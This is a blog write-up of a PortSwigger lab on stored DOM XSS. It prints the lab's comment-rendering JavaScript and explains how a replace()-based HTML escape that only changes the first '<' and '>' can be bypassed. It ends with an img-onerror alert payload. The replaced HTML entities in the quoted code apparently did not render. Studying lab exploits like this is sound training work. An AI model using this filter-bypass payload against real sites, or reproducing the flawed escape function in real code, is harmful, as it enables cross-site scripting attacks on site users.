Stored DOM XSS | Dec 30, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Stored DOM XSS! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert()
function.
Exploitation
Home page:
In the home page, we can view one of those blogs:
And we can leave some comments.
View source page:
<h1>Comments</h1>
<span id='user-comments'>
<script src='resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script>
<script>loadComments('/post/comment')</script>
</span>
resources/js/loadCommentsWithVulnerableEscapeHtml.js
:
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let avatarImgElement = document.createElement("img");
avatarImgElement.setAttribute("class", "avatar");
avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(avatarImgElement);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = escapeHTML(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
In line 5, the comments
variable is parsing an JSON object:
let comments = JSON.parse(this.responseText);
Then in line 12-14, we can see that it’s escaping HTML code:
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
The <
and >
will be replaced as <
and >
.
We also see that the JavaScript file uses innerHTML
in comment.author
, comment.body
, which is a sink (Dangerous function).
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
Armed with above information, we can start to bypass the <>
HTML encoding.
According to W3School, the replace()
method only replace the first instance.
Which means if we add more than 1 <
or >
, it’ll be ignored.
Let’s craft the XSS payload:
<><img src=errorpls onerror=alert(document.domain)>
Nice!